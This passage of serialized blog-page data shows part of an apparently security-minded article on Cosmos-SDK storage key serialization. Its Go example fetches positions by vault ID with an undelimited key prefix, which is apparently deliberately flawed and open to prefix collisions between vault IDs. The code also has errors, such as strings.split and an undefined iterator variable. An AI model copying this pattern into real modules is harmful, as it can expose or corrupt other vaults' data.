"type":32,"value":85645},{"type":26,"tag":217,"props":88909,"children":88910},{"style":7048},[88911],{"type":32,"value":10953},{"type":26,"tag":217,"props":88913,"children":88914},{"class":7028,"line":8725},[88915,88919,88923,88927,88931,88935,88939,88943],{"type":26,"tag":217,"props":88916,"children":88917},{"style":7054},[88918],{"type":32,"value":87351},{"type":26,"tag":217,"props":88920,"children":88921},{"style":7048},[88922],{"type":32,"value":180},{"type":26,"tag":217,"props":88924,"children":88925},{"style":7064},[88926],{"type":32,"value":86482},{"type":26,"tag":217,"props":88928,"children":88929},{"style":7048},[88930],{"type":32,"value":1851},{"type":26,"tag":217,"props":88932,"children":88933},{"style":7064},[88934],{"type":32,"value":15325},{"type":26,"tag":217,"props":88936,"children":88937},{"style":7048},[88938],{"type":32,"value":1851},{"type":26,"tag":217,"props":88940,"children":88941},{"style":7054},[88942],{"type":32,"value":87721},{"type":26,"tag":217,"props":88944,"children":88945},{"style":7048},[88946],{"type":32,"value":86503},{"type":26,"tag":217,"props":88948,"children":88949},{"class":7028,"line":8738},[88950],{"type":26,"tag":217,"props":88951,"children":88952},{"style":7048},[88953],{"type":32,"value":61246},{"type":26,"tag":217,"props":88955,"children":88956},{"class":7028,"line":8755},[88957,88961,88965,88969,88973,88977,88981,88985],{"type":26,"tag":217,"props":88958,"children":88959},{"style":7054},[88960],{"type":32,"value":86473},{"type":26,"tag":217,"props":88962,"children":88963},{"style":7048},[88964],{"type":32,"value":180},{"type":26,"tag":217,"props":88966,"children":88967},{"style":7064},[88968],{"type":32,"value":86527},{"type":26,"tag":217,"props":88970,"children":88971},{"style":7048},[88972],{"type":32,"value":1851},{"type":26,"tag":217,"props":88974,"children":88975},{"style":7054},[88976],{"type":32,"value":87971},{"type":26,"tag":217,"props":88978,"children":88979},{"style":7048},[88980],{"type":32,"value":7599},{"type":26,"tag":217,"props":88982,"children":88983},{"style":7054},[88984],{"type":32,"value":87721},{"type":26,"tag":217,"props":88986,"children":88987},{"style":7048},[88988],{"type":32,"value":10025},{"type":26,"tag":217,"props":88990,"children":88991},{"class":7028,"line":8771},[88992],{"type":26,"tag":217,"props":88993,"children":88994},{"emptyLinePlaceholder":17},[88995],{"type":32,"value":7817},{"type":26,"tag":217,"props":88997,"children":88998},{"class":7028,"line":13956},[88999,89003,89007,89011,89015,89019],{"type":26,"tag":217,"props":89000,"children":89001},{"style":7054},[89002],{"type":32,"value":87555},{"type":26,"tag":217,"props":89004,"children":89005},{"style":7149},[89006],{"type":32,"value":77267},{"type":26,"tag":217,"props":89008,"children":89009},{"style":7054},[89010],{"type":32,"value":83114},{"type":26,"tag":217,"props":89012,"children":89013},{"style":7048},[89014],{"type":32,"value":180},{"type":26,"tag":217,"props":89016,"children":89017},{"style":7064},[89018],{"type":32,"value":86104},{"type":26,"tag":217,"props":89020,"children":89021},{"style":7048},[89022],{"type":32,"value":10932},{"type":26,"tag":217,"props":89024,"children":89025},{"class":7028,"line":13964},[89026,89030],{"type":26,"tag":217,"props":89027,"children":89028},{"style":7338},[89029],{"type":32,"value":88580},{"type":26,"tag":217,"props":89031,"children":89032},{"style":7048},[89033],{"type":32,"value":10953},{"type":26,"tag":217,"props":89035,"children":89036},{"class":7028,"line":14021},[89037,89042],{"type":26,"tag":217,"props":89038,"children":89039},{"style":7054},[89040],{"type":32,"value":89041},"        AddressMapPrefix",{"type":26,"tag":217,"props":89043,"children":89044},{"style":7048},[89045],{"type":32,"value":10953},{"type":26,"tag":217,"props":89047,"children":89048},{"class":7028,"line":14034},[89049,89053],{"type":26,"tag":217,"props":89050,"children":89051},{"style":7054},[89052],{"type":32,"value":87595},{"type":26,"tag":217,"props":89054,"children":89055},{"style":7048},[89056],{"type":32,"value":10953},{"type":26,"tag":217,"props":89058,"children":89059},{"class":7028,"line":14043},[89060,89064],{"type":26,"tag":217,"props":89061,"children":89062},{"style":7054},[89063],{"type":32,"value":87607},{"type":26,"tag":217,"props":89065,"children":89066},{"style":7048},[89067],{"type":32,"value":10953},{"type":26,"tag":217,"props":89069,"children":89070},{"class":7028,"line":14051},[89071,89075],{"type":26,"tag":217,"props":89072,"children":89073},{"style":7054},[89074],{"type":32,"value":87619},{"type":26,"tag":217,"props":89076,"children":89077},{"style":7048},[89078],{"type":32,"value":10953},{"type":26,"tag":217,"props":89080,"children":89081},{"class":7028,"line":14114},[89082,89086],{"type":26,"tag":217,"props":89083,"children":89084},{"style":7054},[89085],{"type":32,"value":87607},{"type":26,"tag":217,"props":89087,"children":89088},{"style":7048},[89089],{"type":32,"value":10953},{"type":26,"tag":217,"props":89091,"children":89092},{"class":7028,"line":14127},[89093,89097],{"type":26,"tag":217,"props":89094,"children":89095},{"style":7054},[89096],{"type":32,"value":88080},{"type":26,"tag":217,"props":89098,"children":89099},{"style":7048},[89100],{"type":32,"value":10953},{"type":26,"tag":217,"props":89102,"children":89103},{"class":7028,"line":34203},[89104],{"type":26,"tag":217,"props":89105,"children":89106},{"style":7048},[89107],{"type":32,"value":61246},{"type":26,"tag":217,"props":89109,"children":89110},{"class":7028,"line":34212},[89111],{"type":26,"tag":217,"props":89112,"children":89113},{"style":7048},[89114],{"type":32,"value":7184},{"type":26,"tag":39,"props":89116,"children":89117},{},[89118],{"type":32,"value":89119},"We now have a proper example of how to serialize storage keys.",{"type":26,"tag":39,"props":89121,"children":89122},{},[89123,89125,89130],{"type":32,"value":89124},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":26,"tag":83,"props":89126,"children":89128},{"className":89127},[],[89129],{"type":32,"value":78426},{"type":32,"value":89131},", data should still be retrievable through original keys.",{"type":26,"tag":39,"props":89133,"children":89134},{},[89135,89137,89143,89145,89150],{"type":32,"value":89136},"Let's look at a case where we want to retrieve all ",{"type":26,"tag":83,"props":89138,"children":89140},{"className":89139},[],[89141],{"type":32,"value":89142},"map[Username]map[PositionName]Position",{"type":32,"value":89144}," associated with a ",{"type":26,"tag":83,"props":89146,"children":89148},{"className":89147},[],[89149],{"type":32,"value":86016},{"type":32,"value":89151}," from the storage. How can we safely accomplish this?",{"type":26,"tag":39,"props":89153,"children":89154},{},[89155,89157,89162,89164,89170],{"type":32,"value":89156},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":26,"tag":83,"props":89158,"children":89160},{"className":89159},[],[89161],{"type":32,"value":86087},{"type":32,"value":89163}," prefix. Below is an example of an attempt to fetch data with ",{"type":26,"tag":83,"props":89165,"children":89167},{"className":89166},[],[89168],{"type":32,"value":89169},"vaultId",{"type":32,"value":1473},{"type":26,"tag":207,"props":89172,"children":89174},{"code":89173,"language":77016,"meta":8,"className":77017,"style":8},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[89175],{"type":26,"tag":83,"props":89176,"children":89177},{"__ignoreMap":8},[89178,89194,89209,89258,89310,89339,89351,89397,89404,89450,89506,89513,89576,89639,89662,89681,89688,89695,89755,89814,89837,89856,89863,89870,89924,89972,89979,89986,90026,90056,90063,90070,90082],{"type":26,"tag":217,"props":89179,"children":89180},{"class":7028,"line":7029},[89181,89185,89190],{"type":26,"tag":217,"props":89182,"children":89183},{"style":7154},[89184],{"type":32,"value":26409},{"type":26,"tag":217,"props":89186,"children":89187},{"style":7064},[89188],{"type":32,"value":89189}," FetchPositionMapWithVaultId",{"type":26,"tag":217,"props":89191,"children":89192},{"style":7048},[89193],{"type":32,"value":10932},{"type":26,"tag":217,"props":89195,"children":89196},{"class":7028,"line":6770},[89197,89201,89205],{"type":26,"tag":217,"props":89198,"children":89199},{"style":7054},[89200],{"type":32,"value":86128},{"type":26,"tag":217,"props":89202,"children":89203},{"style":7119},[89204],{"type":32,"value":77272},{"type":26,"tag":217,"props":89206,"children":89207},{"style":7048},[89208],{"type":32,"value":10953},{"type":26,"tag":217,"props":89210,"children":89211},{"class":7028,"line":6779},[89212,89217,89221,89225,89229,89233,89237,89241,89245,89249,89254],{"type":26,"tag":217,"props":89213,"children":89214},{"style":7048},[89215],{"type":32,"value":89216},") ([]",{"type":26,"tag":217,"props":89218,"children":89219},{"style":7154},[89220],{"type":32,"value":78426},{"type":26,"tag":217,"props":89222,"children":89223},{"style":7048},[89224],{"type":32,"value":7127},{"type":26,"tag":217,"props":89226,"children":89227},{"style":7119},[89228],{"type":32,"value":86033},{"type":26,"tag":217,"props":89230,"children":89231},{"style":7048},[89232],{"type":32,"value":21845},{"type":26,"tag":217,"props":89234,"children":89235},{"style":7154},[89236],{"type":32,"value":78426},{"type":26,"tag":217,"props":89238,"children":89239},{"style":7048},[89240],{"type":32,"value":7127},{"type":26,"tag":217,"props":89242,"children":89243},{"style":7119},[89244],{"type":32,"value":86050},{"type":26,"tag":217,"props":89246,"children":89247},{"style":7048},[89248],{"type":32,"value":21845},{"type":26,"tag":217,"props":89250,"children":89251},{"style":7119},[89252],{"type":32,"value":89253},"Position",{"type":26,"tag":217,"props":89255,"children":89256},{"style":7048},[89257],{"type":32,"value":7618},{"type":26,"tag":217,"props":89259,"children":89260},{"class":7028,"line":7140},[89261,89266,89270,89274,89278,89282,89286,89290,89294,89298,89302,89306],{"type":26,"tag":217,"props":89262,"children":89263},{"style":7054},[89264],{"type":32,"value":89265},"    values",{"type":26,"tag":217,"props":89267,"children":89268},{"style":7149},[89269],{"type":32,"value":77267},{"type":26,"tag":217,"props":89271,"children":89272},{"style":7154},[89273],{"type":32,"value":78179},{"type":26,"tag":217,"props":89275,"children":89276},{"style":7048},[89277],{"type":32,"value":7127},{"type":26,"tag":217,"props":89279,"children":89280},{"style":7119},[89281],{"type":32,"value":86033},{"type":26,"tag":217,"props":89283,"children":89284},{"style":7048},[89285],{"type":32,"value":21845},{"type":26,"tag":217,"props":89287,"children":89288},{"style":7154},[89289],{"type":32,"value":78426},{"type":26,"tag":217,"props":89291,"children":89292},{"style":7048},[89293],{"type":32,"value":7127},{"type":26,"tag":217,"props":89295,"children":89296},{"style":7119},[89297],{"type":32,"value":86050},{"type":26,"tag":217,"props":89299,"children":89300},{"style":7048},[89301],{"type":32,"value":21845},{"type":26,"tag":217,"props":89303,"children":89304},{"style":7119},[89305],{"type":32,"value":89253},{"type":26,"tag":217,"props":89307,"children":89308},{"style":7048},[89309],{"type":32,"value":78969},{"type":26,"tag":217,"props":89311,"children":89312},{"class":7028,"line":7165},[89313,89318,89322,89326,89330,89335],{"type":26,"tag":217,"props":89314,"children":89315},{"style":7054},[89316],{"type":32,"value":89317},"    i",{"type":26,"tag":217,"props":89319,"children":89320},{"style":7149},[89321],{"type":32,"value":77267},{"type":26,"tag":217,"props":89323,"children":89324},{"style":7054},[89325],{"type":32,"value":79518},{"type":26,"tag":217,"props":89327,"children":89328},{"style":7048},[89329],{"type":32,"value":180},{"type":26,"tag":217,"props":89331,"children":89332},{"style":7064},[89333],{"type":32,"value":89334},"KVStorePrefixIterator",{"type":26,"tag":217,"props":89336,"children":89337},{"style":7048},[89338],{"type":32,"value":10932},{"type":26,"tag":217,"props":89340,"children":89341},{"class":7028,"line":7178},[89342,89347],{"type":26,"tag":217,"props":89343,"children":89344},{"style":7054},[89345],{"type":32,"value":89346},"        kvStore",{"type":26,"tag":217,"props":89348,"children":89349},{"style":7048},[89350],{"type":32,"value":10953},{"type":26,"tag":217,"props":89352,"children":89353},{"class":7028,"line":7389},[89354,89359,89363,89367,89371,89376,89380,89385,89389,89393],{"type":26,"tag":217,"props":89355,"children":89356},{"style":7054},[89357],{"type":32,"value":89358},"        fmt",{"type":26,"tag":217,"props":89360,"children":89361},{"style":7048},[89362],{"type":32,"value":180},{"type":26,"tag":217,"props":89364,"children":89365},{"style":7064},[89366],{"type":32,"value":86104},{"type":26,"tag":217,"props":89368,"children":89369},{"style":7048},[89370],{"type":32,"value":1851},{"type":26,"tag":217,"props":89372,"children":89373},{"style":7338},[89374],{"type":32,"value":89375},"\"%s%d\"",{"type":26,"tag":217,"props":89377,"children":89378},{"style":7048},[89379],{"type":32,"value":7599},{"type":26,"tag":217,"props":89381,"children":89382},{"style":7054},[89383],{"type":32,"value":89384},"PositionMapPrefix",{"type":26,"tag":217,"props":89386,"children":89387},{"style":7048},[89388],{"type":32,"value":7599},{"type":26,"tag":217,"props":89390,"children":89391},{"style":7054},[89392],{"type":32,"value":89169},{"type":26,"tag":217,"props":89394,"children":89395},{"style":7048},[89396],{"type":32,"value":10025},{"type":26,"tag":217,"props":89398,"children":89399},{"class":7028,"line":7406},[89400],{"type":26,"tag":217,"props":89401,"children":89402},{"style":7048},[89403],{"type":32,"value":61246},{"type":26,"tag":217,"props":89405,"children":89406},{"class":7028,"line":7439},[89407,89411,89416,89420,89424,89429,89433,89437,89441,89446],{"type":26,"tag":217,"props":89408,"children":89409},{"style":7042},[89410],{"type":32,"value":12461},{"type":26,"tag":217,"props":89412,"children":89413},{"style":7048},[89414],{"type":32,"value":89415}," ; ",{"type":26,"tag":217,"props":89417,"children":89418},{"style":7054},[89419],{"type":32,"value":2290},{"type":26,"tag":217,"props":89421,"children":89422},{"style":7048},[89423],{"type":32,"value":180},{"type":26,"tag":217,"props":89425,"children":89426},{"style":7064},[89427],{"type":32,"value":89428},"Valid",{"type":26,"tag":217,"props":89430,"children":89431},{"style":7048},[89432],{"type":32,"value":81251},{"type":26,"tag":217,"props":89434,"children":89435},{"style":7054},[89436],{"type":32,"value":2290},{"type":26,"tag":217,"props":89438,"children":89439},{"style":7048},[89440],{"type":32,"value":180},{"type":26,"tag":217,"props":89442,"children":89443},{"style":7064},[89444],{"type":32,"value":89445},"Next",{"type":26,"tag":217,"props":89447,"children":89448},{"style":7048},[89449],{"type":32,"value":7841},{"type":26,"tag":217,"props":89451,"children":89452},{"class":7028,"line":7487},[89453,89458,89462,89467,89471,89476,89480,89484,89488,89493,89497,89502],{"type":26,"tag":217,"props":89454,"children":89455},{"style":7054},[89456],{"type":32,"value":89457},"        k",{"type":26,"tag":217,"props":89459,"children":89460},{"style":7149},[89461],{"type":32,"value":77267},{"type":26,"tag":217,"props":89463,"children":89464},{"style":7054},[89465],{"type":32,"value":89466}," strings",{"type":26,"tag":217,"props":89468,"children":89469},{"style":7048},[89470],{"type":32,"value":180},{"type":26,"tag":217,"props":89472,"children":89473},{"style":7064},[89474],{"type":32,"value":89475},"split",{"type":26,"tag":217,"props":89477,"children":89478},{"style":7048},[89479],{"type":32,"value":1851},{"type":26,"tag":217,"props":89481,"children":89482},{"style":7054},[89483],{"type":32,"value":2290},{"type":26,"tag":217,"props":89485,"children":89486},{"style":7048},[89487],{"type":32,"value":180},{"type":26,"tag":217,"props":89489,"children":89490},{"style":7064},[89491],{"type":32,"value":89492},"Key",{"type":26,"tag":217,"props":89494,"children":89495},{"style":7048},[89496],{"type":32,"value":59809},{"type":26,"tag":217,"props":89498,"children":89499},{"style":7054},[89500],{"type":32,"value":89501},"Seperator",{"type":26,"tag":217,"props":89503,"children":89504},{"style":7048},[89505],{"type":32,"value":10025},{"type":26,"tag":217,"props":89507,"children":89508},{"class":7028,"line":7524},[89509],{"type":26,"tag":217,"props":89510,"children":89511},{"emptyLinePlaceholder":17},[89512],{"type":32,"value":7817},{"type":26,"tag":217,"props":89514,"children":89515},{"class":7028,"line":7553},[89516,89521,89525,89529,89534,89538,89542,89546,89550,89555,89559,89563,89567,89571],{"type":26,"tag":217,"props":89517,"children":89518},{"style":7054},[89519],{"type":32,"value":89520},"        username",{"type":26,"tag":217,"props":89522,"children":89523},{"style":7149},[89524],{"type":32,"value":77267},{"type":26,"tag":217,"props":89526,"children":89527},{"style":7064},[89528],{"type":32,"value":86445},{"type":26,"tag":217,"props":89530,"children":89531},{"style":7048},[89532],{"type":32,"value":89533},"([]",{"type":26,"tag":217,"props":89535,"children":89536},{"style":7119},[89537],{"type":32,"value":85645},{"type":26,"tag":217,"props":89539,"children":89540},{"style":7048},[89541],{"type":32,"value":7599},{"type":26,"tag":217,"props":89543,"children":89544},{"style":7054},[89545],{"type":32,"value":86518},{"type":26,"tag":217,"props":89547,"children":89548},{"style":7048},[89549],{"type":32,"value":180},{"type":26,"tag":217,"props":89551,"children":89552},{"style":7064},[89553],{"type":32,"value":89554},"DecodedLen",{"type":26,"tag":217,"props":89556,"children":89557},{"style":7048},[89558],{"type":32,"value":1851},{"type":26,"tag":217,"props":89560,"children":89561},{"style":7054},[89562],{"type":32,"value":49393},{"type":26,"tag":217,"props":89564,"children":89565},{"style":7048},[89566],{"type":32,"value":7127},{"type":26,"tag":217,"props":89568,"children":89569},{"style":7130},[89570],{"type":32,"value":1883},{"type":26,"tag":217,"props":89572,"children":89573},{"style":7048},[89574],{"type":32,"value":89575},"]))\n",{"type":26,"tag":217,"props":89577,"children":89578},{"class":7028,"line":7570},[89579,89584,89588,89592,89596,89601,89605,89610,89614,89618,89622,89626,89630,89634],{"type":26,"tag":217,"props":89580,"children":89581},{"style":7054},[89582],{"type":32,"value":89583},"        _",{"type":26,"tag":217,"props":89585,"children":89586},{"style":7048},[89587],{"type":32,"value":7599},{"type":26,"tag":217,"props":89589,"children":89590},{"style":7054},[89591],{"type":32,"value":8675},{"type":26,"tag":217,"props":89593,"children":89594},{"style":7149},[89595],{"type":32,"value":77267},{"type":26,"tag":217,"props":89597,"children":89598},{"style":7054},[89599],{"type":32,"value":89600}," hex",{"type":26,"tag":217,"props":89602,"children":89603},{"style":7048},[89604],{"type":32,"value":180},{"type":26,"tag":217,"props":89606,"children":89607},{"style":7064},[89608],{"type":32,"value":89609},"Decode",{"type":26,"tag":217,"props":89611,"children":89612},{"style":7048},[89613],{"type":32,"value":1851},{"type":26,"tag":217,"props":89615,"children":89616},{"style":7054},[89617],{"type":32,"value":86352},{"type":26,"tag":217,"props":89619,"children":89620},{"style":7048},[89621],{"type":32,"value":7599},{"type":26,"tag":217,"props":89623,"children":89624},{"style":7054},[89625],{"type":32,"value":49393},{"type":26,"tag":217,"props":89627,"children":89628},{"style":7048},[89629],{"type":32,"value":7127},{"type":26,"tag":217,"props":89631,"children":89632},{"style":7130},[89633],{"type":32,"value":1883},{"type":26,"tag":217,"props":89635,"children":89636},{"style":7048},[89637],{"type":32,"value":89638},"])\n",{"type":26,"tag":217,"props":89640,"children":89641},{"class":7028,"line":7621},[89642,89646,89650,89654,89658],{"type":26,"tag":217,"props":89643,"children":89644},{"style":7042},[89645],{"type":32,"value":12497},{"type":26,"tag":217,"props":89647,"children":89648},{"style":7054},[89649],{"type":32,"value":82790},{"type":26,"tag":217,"props":89651,"children":89652},{"style":7149},[89653],{"type":32,"value":66974},{"type":26,"tag":217,"props":89655,"children":89656},{"style":7154},[89657],{"type":32,"value":82799},{"type":26,"tag":217,"props":89659,"children":89660},{"style":7048},[89661],{"type":32,"value":8064},{"type":26,"tag":217,"props":89663,"children":89664},{"class":7028,"line":7672},[89665,89669,89673,89677],{"type":26,"tag":217,"props":89666,"children":89667},{"style":7042},[89668],{"type":32,"value":7790},{"type":26,"tag":217,"props":89670,"children":89671},{"style":7154},[89672],{"type":32,"value":82799},{"type":26,"tag":217,"props":89674,"children":89675},{"style":7048},[89676],{"type":32,"value":7599},{"type":26,"tag":217,"props":89678,"children":89679},{"style":7054},[89680],{"type":32,"value":84521},{"type":26,"tag":217,"props":89682,"children":89683},{"class":7028,"line":7681},[89684],{"type":26,"tag":217,"props":89685,"children":89686},{"style":7048},[89687],{"type":32,"value":8722},{"type":26,"tag":217,"props":89689,"children":89690},{"class":7028,"line":7754},[89691],{"type":26,"tag":217,"props":89692,"children":89693},{"emptyLinePlaceholder":17},[89694],{"type":32,"value":7817},{"type":26,"tag":217,"props":89696,"children":89697},{"class":7028,"line":7784},[89698,89703,89707,89711,89715,89719,89723,89727,89731,89735,89739,89743,89747,89751],{"type":26,"tag":217,"props":89699,"children":89700},{"style":7054},[89701],{"type":32,"value":89702},"        positionName",{"type":26,"tag":217,"props":89704,"children":89705},{"style":7149},[89706],{"type":32,"value":77267},{"type":26,"tag":217,"props":89708,"children":89709},{"style":7064},[89710],{"type":32,"value":86445},{"type":26,"tag":217,"props":89712,"children":89713},{"style":7048},[89714],{"type":32,"value":89533},{"type":26,"tag":217,"props":89716,"children":89717},{"style":7119},[89718],{"type":32,"value":85645},{"type":26,"tag":217,"props":89720,"children":89721},{"style":7048},[89722],{"type":32,"value":7599},{"type":26,"tag":217,"props":89724,"children":89725},{"style":7054},[89726],{"type":32,"value":86518},{"type":26,"tag":217,"props":89728,"children":89729},{"style":7048},[89730],{"type":32,"value":180},{"type":26,"tag":217,"props":89732,"children":89733},{"style":7064},[89734],{"type":32,"value":89554},{"type":26,"tag":217,"props":89736,"children":89737},{"style":7048},[89738],{"type":32,"value":1851},{"type":26,"tag":217,"props":89740,"children":89741},{"style":7054},[89742],{"type":32,"value":49393},{"type":26,"tag":217,"props":89744,"children":89745},{"style":7048},[89746],{"type":32,"value":7127},{"type":26,"tag":217,"props":89748,"children":89749},{"style":7130},[89750],{"type":32,"value":185},{"type":26,"tag":217,"props":89752,"children":89753},{"style":7048},[89754],{"type":32,"value":89575},{"type":26,"tag":217,"props":89756,"children":89757},{"class":7028,"line":7802},[89758,89762,89766,89770,89774,89778,89782,89786,89790,89794,89798,89802,89806,89810],{"type":26,"tag":217,"props":89759,"children":89760},{"style":7054},[89761],{"type":32,"value":89583},{"type":26,"tag":217,"props":89763,"children":89764},{"style":7048},[89765],{"type":32,"value":7599},{"type":26,"tag":217,"props":89767,"children":89768},{"style":7054},[89769],{"type":32,"value":8675},{"type":26,"tag":217,"props":89771,"children":89772},{"style":7149},[89773],{"type":32,"value":77267},{"type":26,"tag":217,"props":89775,"children":89776},{"style":7054},[89777],{"type":32,"value":89600},{"type":26,"tag":217,"props":89779,"children":89780},{"style":7048},[89781],{"type":32,"value":180},{"type":26,"tag":217,"props":89783,"children":89784},{"style":7064},[89785],{"type":32,"value":89609},{"type":26,"tag":217,"props":89787,"children":89788},{"style":7048},[89789],{"type":32,"value":1851},{"type":26,"tag":217,"props":89791,"children":89792},{"style":7054},[89793],{"type":32,"value":86621},{"type":26,"tag":217,"props":89795,"children":89796},{"style":7048},[89797],{"type":32,"value":7599},{"type":26,"tag":217,"props":89799,"children":89800},{"style":7054},[89801],{"type":32,"value":49393},{"type":26,"tag":217,"props":89803,"children":89804},{"style":7048},[89805],{"type":32,"value":7127},{"type":26,"tag":217,"props":89807,"children":89808},{"style":7130},[89809],{"type":32,"value":185},{"type":26,"tag":217,"props":89811,"children":89812},{"style":7048},[89813],{"type":32,"value":89638},{"type":26,"tag":217,"props":89815,"children":89816},{"class":7028,"line":7811},[89817,89821,89825,89829,89833],{"type":26,"tag":217,"props":89818,"children":89819},{"style":7042},[89820],{"type":32,"value":12497},{"type":26,"tag":217,"props":89822,"children":89823},{"style":7054},[89824],{"type":32,"value":82790},{"type":26,"tag":217,"props":89826,"children":89827},{"style":7149},[89828],{"type":32,"value":66974},{"type":26,"tag":217,"props":89830,"children":89831},{"style":7154},[89832],{"type":32,"value":82799},{"type":26,"tag":217,"props":89834,"children":89835},{"style":7048},[89836],{"type":32,"value":8064},{"type":26,"tag":217,"props":89838,"children":89839},{"class":7028,"line":7820},[89840,89844,89848,89852],{"type":26,"tag":217,"props":89841,"children":89842},{"style":7042},[89843],{"type":32,"value":7790},{"type":26,"tag":217,"props":89845,"children":89846},{"style":7154},[89847],{"type":32,"value":82799},{"type":26,"tag":217,"props":89849,"children":89850},{"style":7048},[89851],{"type":32,"value":7599},{"type":26,"tag":217,"props":89853,"children":89854},{"style":7054},[89855],{"type":32,"value":84521},{"type":26,"tag":217,"props":89857,"children":89858},{"class":7028,"line":7844},[89859],{"type":26,"tag":217,"props":89860,"children":89861},{"style":7048},[89862],{"type":32,"value":8722},{"type":26,"tag":217,"props":89864,"children":89865},{"class":7028,"line":7910},[89866],{"type":26,"tag":217,"props":89867,"children":89868},{"emptyLinePlaceholder":17},[89869],{"type":32,"value":7817},{"type":26,"tag":217,"props":89871,"children":89872},{"class":7028,"line":7954},[89873,89877,89882,89886,89890,89894,89899,89903,89907,89912,89916,89920],{"type":26,"tag":217,"props":89874,"children":89875},{"style":7042},[89876],{"type":32,"value":12497},{"type":26,"tag":217,"props":89878,"children":89879},{"style":7054},[89880],{"type":32,"value":89881}," entry",{"type":26,"tag":217,"props":89883,"children":89884},{"style":7048},[89885],{"type":32,"value":7599},{"type":26,"tag":217,"props":89887,"children":89888},{"style":7054},[89889],{"type":32,"value":79645},{"type":26,"tag":217,"props":89891,"children":89892},{"style":7149},[89893],{"type":32,"value":77267},{"type":26,"tag":217,"props":89895,"children":89896},{"style":7054},[89897],{"type":32,"value":89898}," values",{"type":26,"tag":217,"props":89900,"children":89901},{"style":7048},[89902],{"type":32,"value":7127},{"type":26,"tag":217,"props":89904,"children":89905},{"style":7054},[89906],{"type":32,"value":86352},{"type":26,"tag":217,"props":89908,"children":89909},{"style":7048},[89910],{"type":32,"value":89911},"]; ",{"type":26,"tag":217,"props":89913,"children":89914},{"style":7149},[89915],{"type":32,"value":11704},{"type":26,"tag":217,"props":89917,"children":89918},{"style":7054},[89919],{"type":32,"value":79645},{"type":26,"tag":217,"props":89921,"children":89922},{"style":7048},[89923],{"type":32,"value":8064},{"type":26,"tag":217,"props":89925,"children":89926},{"class":7028,"line":7985},[89927,89932,89936,89940,89944,89948,89952,89956,89960,89964,89968],{"type":26,"tag":217,"props":89928,"children":89929},{"style":7054},[89930],{"type":32,"value":89931},"            values",{"type":26,"tag":217,"props":89933,"children":89934},{"style":7048},[89935],{"type":32,"value":7127},{"type":26,"tag":217,"props":89937,"children":89938},{"style":7054},[89939],{"type":32,"value":86352},{"type":26,"tag":217,"props":89941,"children":89942},{"style":7048},[89943],{"type":32,"value":10276},{"type":26,"tag":217,"props":89945,"children":89946},{"style":7149},[89947],{"type":32,"value":267},{"type":26,"tag":217,"props":89949,"children":89950},{"style":7064},[89951],{"type":32,"value":86445},{"type":26,"tag":217,"props":89953,"children":89954},{"style":7048},[89955],{"type":32,"value":1851},{"type":26,"tag":217,"props":89957,"children":89958},{"style":7154},[89959],{"type":32,"value":78426},{"type":26,"tag":217,"props":89961,"children":89962},{"style":7048},[89963],{"type":32,"value":7127},{"type":26,"tag":217,"props":89965,"children":89966},{"style":7119},[89967],{"type":32,"value":86050},{"type":26,"tag":217,"props":89969,"children":89970},{"style":7048},[89971],{"type":32,"value":89638},{"type":26,"tag":217,"props":89973,"children":89974},{"class":7028,"line":8027},[89975],{"type":26,"tag":217,"props":89976,"children":89977},{"style":7048},[89978],{"type":32,"value":8722},{"type":26,"tag":217,"props":89980,"children":89981},{"class":7028,"line":8035},[89982],{"type":26,"tag":217,"props":89983,"children":89984},{"emptyLinePlaceholder":17},[89985],{"type":32,"value":7817},{"type":26,"tag":217,"props":89987,"children":89988},{"class":7028,"line":8067},[89989,89994,89998,90002,90006,90010,90014,90018,90022],{"type":26,"tag":217,"props":89990,"children":89991},{"style":7054},[89992],{"type":32,"value":89993},"        values",{"type":26,"tag":217,"props":89995,"children":89996},{"style":7048},[89997],{"type":32,"value":7127},{"type":26,"tag":217,"props":89999,"children":90000},{"style":7054},[90001],{"type":32,"value":86352},{"type":26,"tag":217,"props":90003,"children":90004},{"style":7048},[90005],{"type":32,"value":10980},{"type":26,"tag":217,"props":90007,"children":90008},{"style":7054},[90009],{"type":32,"value":86621},{"type":26,"tag":217,"props":90011,"children":90012},{"style":7048},[90013],{"type":32,"value":10276},{"type":26,"tag":217,"props":90015,"children":90016},{"style":7149},[90017],{"type":32,"value":267},{"type":26,"tag":217,"props":90019,"children":90020},{"style":7054},[90021],{"type":32,"value":85952},{"type":26,"tag":217,"props":90023,"children":90024},{"style":7048},[90025],{"type":32,"value":8064},{"type":26,"tag":217,"props":90027,"children":90028},{"class":7028,"line":8107},[90029,90034,90038,90043,90047,90052],{"type":26,"tag":217,"props":90030,"children":90031},{"style":7054},[90032],{"type":32,"value":90033},"            data",{"type":26,"tag":217,"props":90035,"children":90036},{"style":7048},[90037],{"type":32,"value":14785},{"type":26,"tag":217,"props":90039,"children":90040},{"style":7054},[90041],{"type":32,"value":90042},"iterator",{"type":26,"tag":217,"props":90044,"children":90045},{"style":7048},[90046],{"type":32,"value":180},{"type":26,"tag":217,"props":90048,"children":90049},{"style":7064},[90050],{"type":32,"value":90051},"Value",{"type":26,"tag":217,"props":90053,"children":90054},{"style":7048},[90055],{"type":32,"value":79153},{"type":26,"tag":217,"props":90057,"children":90058},{"class":7028,"line":8145},[90059],{"type":26,"tag":217,"props":90060,"children":90061},{"style":7048},[90062],{"type":32,"value":8722},{"type":26,"tag":217,"props":90064,"children":90065},{"class":7028,"line":8154},[90066],{"type":26,"tag":217,"props":90067,"children":90068},{"style":7048},[90069],{"type":32,"value":9754},{"type":26,"tag":217,"props":90071,"children":90072},{"class":7028,"line":8162},[90073,90077],{"type":26,"tag":217,"props":90074,"children":90075},{"style":7042},[90076],{"type":32,"value":7171},{"type":26,"tag":217,"props":90078,"children":90079},{"style":7054},[90080],{"type":32,"value